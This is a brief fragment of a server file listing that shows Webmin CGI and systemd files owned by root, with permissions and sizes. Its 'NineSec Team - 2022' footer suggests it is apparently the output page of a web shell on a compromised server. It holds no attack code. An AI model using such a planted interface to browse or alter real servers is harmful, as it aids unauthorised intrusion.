November 08 2023 4:49:09
root
0755
webmin-systemd
0.432 KB
November 08 2023 4:49:09
root
0644
webmin_search.cgi
2.634 KB
November 08 2023 4:49:48
root
0755
xmlrpc.cgi
7.528 KB
November 08 2023 4:49:48
root
0755

NineSec Team - 2022